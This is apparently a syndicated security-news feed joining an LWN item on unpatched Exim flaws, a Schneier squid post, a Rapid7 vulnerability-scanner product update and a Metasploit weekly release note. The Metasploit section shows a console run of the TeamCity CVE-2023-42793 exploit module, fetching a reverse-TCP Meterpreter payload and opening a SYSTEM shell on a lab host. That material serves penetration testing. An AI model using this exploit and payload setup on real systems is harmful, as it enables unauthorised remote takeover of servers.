Multiple Exim security vulnerabilities disclosed

Post Syndicated from corbet original https://lwn.net/Articles/946004/

The “Zero Day Initiative” site has posted a number of advisories (1, 2, 3, 4, 5, 6)
describing a number of flaws in the Exim mail server, some of which are
exploitable remotely. These problems, allegedly, were first reported to
the project in June 2022, well over one year ago. There is some
disagreement over the timing of events, with Exim developer Heiko
Schlittermann claiming
that no actual information was received until last May, and an anonymous
ZDI representative disputing
that story.

Either way, the vulnerabilities are now disclosed, but patches are not yet
on offer; Schlittermann said that “Fixes are available in a protected
repository and are ready to be applied by the distribution
maintainers
“, so hopefully that situation will change soon.

Friday Squid Blogging: Protecting Cephalopods in Medical Research

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2023/09/friday-squid-blogging-protecting-cephalopods-in-medical-research.html

From Nature:

Cephalopods such as octopuses and squid could soon receive the same legal protection as mice and monkeys do when they are used in research. On 7 September, the US National Institutes of Health (NIH) asked for feedback on proposed guidelines that, for the first time in the United States, would require research projects involving cephalopods to be approved by an ethics board before receiving federal funding.

As usual, you can also use this squid post to talk about the security stories in the news that I haven’t covered.

Read my blog posting guidelines here.

What’s New in InsightVM and Nexpose: Q3 2023 in Review

Post Syndicated from Roshnee Mistry Shah original https://blog.rapid7.com/2023/09/29/whats-new-in-insightvm-and-nexpose-q3-2023-in-review/

What’s New in InsightVM and Nexpose: Q3 2023 in Review

A lot of new and exciting product updates this quarter to help customers continue driving better security outcomes. We are thrilled to launch a new vulnerability risk scoring strategy this quarter along with upgrades like improved UI for the Engine Pool page, more policy coverage, and more. Let’s take a look at some of the key updates in InsightVM and Nexpose from Q3.

[InsightVM and Nexpose] Introducing Active Risk

We’re excited to launch Active Risk in InsightVM and Nexpose Active Risk is Rapid7’s vulnerability risk-scoring methodology designed to help security teams prioritize vulnerabilities that are actively exploited or most likely to be exploited in the wild.

Our approach takes into account the latest version of the Common Vulnerability Scoring System (CVSS) available for a vulnerability and enriches it with multiple threat intelligence feeds, including proprietary Rapid7 research, to provide security teams with a threat-aware vulnerability risk score. Learn more here.

What’s New in InsightVM and Nexpose: Q3 2023 in Review

[InsightVM] Two new Active Risk dashboard cards

To help security teams communicate the risk posture cross-functionally by providing context on which vulnerabilities need to be prioritized and where the riskiest assets lie, we have launched two new dashboard cards in InsightVM:

  • Vulnerability Findings by Active Risk Score Severity – indicates total number of vulnerabilities across the Active Risk severity levels and number of affected assets and instances. Ideal for executive reporting.
  • Vulnerability Findings by Active Risk Score Severity and Publish Age – shows number of vulnerabilities across the Active Risk severity levels and by publish age. Ideal for sharing with remediation stakeholders to prioritize vulnerabilities for next patch cycle (ex: publish age is between 0-29 days) or identify critical vulnerabilities that may have been missed (ex: publish age is greater than 90 days for critical vulnerabilities).
What’s New in InsightVM and Nexpose: Q3 2023 in Review

[InsightVM and Nexpose] Engine Pool page update

In continuation with the Security Console user interface (UI) upgrades, Engine Pools is now located on its own page and has been updated with a new look. The updated UI can be accessed from the Administration page, and supports both light and dark modes for a more intuitive and consistent user experience.

What’s New in InsightVM and Nexpose: Q3 2023 in Review

[InsightVM and Nexpose] Containerized Scan Engine Kubernetes support

Customers are adopting modern, containerized infrastructure due to its ease of installation and  maintenance (OS upgrades). Containerized Scan Engine delivers the Scan Engine as a packaged or portable application that can easily be deployed to modern infrastructure. Rapid7 customers can now deploy containerized Scan Engine in popular cloud-hosted K8s platforms like Amazon EKS (Elastic Kubernetes Service) and Google GKE. Learn more here.

[InsightVM and Nexpose] Policy coverage for Palo Alto Firewall 10

Customers can now enable policy assessment for Palo Alto 10, a critical firewall technology, in their environments. Policy assessment in InsightVM helps security teams assess the configuration of IT assets against commonly used CIS or DISA STIG benchmarks, allowing them to better meet compliance mandates and proactively secure their environment. You can use the Palo Alto Firewall 10 policy as-is or customize it to meet your business needs. Learn more here.

[InsightVM] Quick Actions in InsightVM

Quick Actions are pre-configured automation actions you can run within InsightVM to automate some of your most frequent tasks like creating an incident with ServiceNow, searching for vulnerabilities with AttackerKB, and more. No configuration is required for leveraging Quick Actions; you don’t need to deploy an orchestrator or create a single connection. Learn more here.

Note: To use Quick Actions, you’ll need an InsightConnect license, which is included at all tiers of the Cloud Risk Complete package.

[InsightVM and Nexpose] Checks for notable vulnerabilities

We have been committed to providing swift coverage for the emergent threats Rapid7 responds to under our Emergent Threat Response (ETR) program. Since Q4 2022, we provided coverage the same day or within 24 hours for almost 30 emergent threats, which includes zero-day vulnerabilities. ETRs we responded to in the past quarter include:

Exploitation of Juniper Networks
On August 17, 2023, Juniper Networks published an out-of-band advisory on four different CVEs affecting Junos OS on SRX and EX Series devices. InsightVM and Nexpose customers can assess their exposure to all four CVEs with vulnerability checks. Learn more here.

CVE-2023-35078 – Critical API Access Vulnerability in Ivanti Endpoint Manager Mobile
CVE-2023-35078 is a remote unauthenticated API access vulnerability in Ivanti Endpoint Manager Mobile, which was previously branded as MobileIron Core. The vulnerability has a CVSS v3 base score of 10.0 and has a severity rating of Critical. An unauthenticated vulnerability check for CVE-2023-35078 is available to InsightVM customers. Learn more here.

Critical Zero-Day Vulnerability in Citrix NetScaler ADC and NetScaler Gateway
Citrix published a security bulletin warning users of three new vulnerabilities affecting NetScaler ADC and NetScaler Gateway. CVE-2023-3519 is known to be exploited in the wild. This product line is a popular target for attackers of all skill levels, and we expect that exploitation will increase quickly. Rapid7 strongly recommends updating to a fixed version on an emergency basis, without waiting for a typical patch cycle to occur. Learn more here.

Active Exploitation of Multiple Adobe ColdFusion Vulnerabilities
Adobe ColdFusion, an application server and a platform for building and deploying web and mobile applications, was affected by multiple CVE this month, including a Rapid7-discovered vulnerability (CVE-2023-29298). Learn more about the vulnerabilities and mitigation guidance here.

15 CVEs Affecting SonicWall
SonicWall published an urgent security advisory warning customers of 15 new vulnerabilities affecting on-premise instances of their Global Management System (GMS) and Analytics products.While these vulnerabilities are not known to be exploited in the wild,  they could allow an attacker to view, modify, or delete data that they are not normally able to retrieve, causing persistent changes to the application’s content or behavior. Learn more here.

Metasploit Weekly Wrap-Up

Post Syndicated from Alan David Foster original https://blog.rapid7.com/2023/09/29/metasploit-weekly-wrap-up-29/

TeamCity authentication bypass and remote code execution

Metasploit Weekly Wrap-Up

This week’s Metasploit release includes a new module for a critical authentication bypass in JetBrains TeamCity CI/CD Server. All versions of TeamCity prior to version 2023.05.4 are vulnerable to this issue. The vulnerability was originally discovered by SonarSource, and the Metasploit module was developed by Rapid7’s Principal Security Researcher Stephen Fewer who additionally published a technical analysis on AttackerKB for CVE-2023-42793. A Rapid7 TeamCity customer advisory has also been released with details on mitigation guidance.

This exploit works against both Windows and Linux targets. Example usage:

msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > show options 

Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2023_42793):

   Name                     Current Setting  Required  Description
   ----                     ---------------  --------  -----------
   Proxies                                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                   192.168.159.10   yes       The target host(s)
   RPORT                    8111             yes       The target port (TCP)
   SSL                      false            no        Negotiate SSL/TLS for outgoing connections
   TEAMCITY_ADMIN_ID        1                yes       The ID of an administrator account to authenticate as
   TEAMCITY_CHANGE_TIMEOUT  30               yes       The timeout to wait for the changes to be applied
   VHOST                                     no        HTTP server virtual host


Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   EXITFUNC            process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   FETCH_COMMAND       CERTUTIL         yes       Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      cymQYMMk         no        Name to use on remote system when storing payload; cannot contain spaces.
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               192.168.250.134  yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows



View the full module info with the info, or info -d command.

msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > exploit

[*] Started reverse TCP handler on 192.168.250.134:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. JetBrains TeamCity 2023.05.3 (build 129390) detected.
[*] Token already exists, deleting and generating a new one.
[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.UUxBSk0zMGk1eWFzRGZRYjg3LWJqWVVrY1Fn.YjU0NmIwYjUtNTZmNC00N2U3LWI4MGItMDdhOTQ0YjIzZGQ5
[*] Modifying internal.properties to allow process creation...
[*] Waiting for configuration change to be applied...
[*] Executing payload...
[*] Resetting the internal.properties settings...
[*] Sending stage (200774 bytes) to 192.168.250.237
[*] Waiting for configuration change to be applied...
[*] Deleting the authentication token.
[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 192.168.250.237:65397) at 2023-09-28 13:29:20 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DC
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : MSFLAB
Logged On Users : 9
Meterpreter     : x64/windows
meterpreter >

New module content (2)

JetBrains TeamCity Unauthenticated Remote Code Execution

Author: sfewer-r7
Type: Exploit
Pull request: #18408 contributed by sfewer-r7
Path: multi/http/jetbrains_teamcity_rce_cve_2023_42793

Description: This adds an unauthenticated RCE for JetBrain’s TeamCity server on both Linux and Windows. A remote attacker can exploit an authentication bypass vulnerability and then execute OS commands in the context of the service.

Microsoft Error Reporting Local Privilege Elevation Vulnerability

Authors: Filip Dragović (Wh04m1001), Octoberfest7, and bwatters-r7
Type: Exploit
Pull request: #18314 contributed by bwatters-r7
Path: windows/local/win_error_cve_2023_36874

Description: This adds an exploit module that leverages a directory traversal vulnerability in Windows 10. This vulnerability is identified as CVE-2023-36874 and enables an attacker to elevate privileges to those of the NT AUTHORITY\SYSTEM user. Note that this module works with Windows 10×64 22H2.

Enhancements and features (1)

  • #18399 from h00die – Fixes multiple spelling mistakes in module documentation.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

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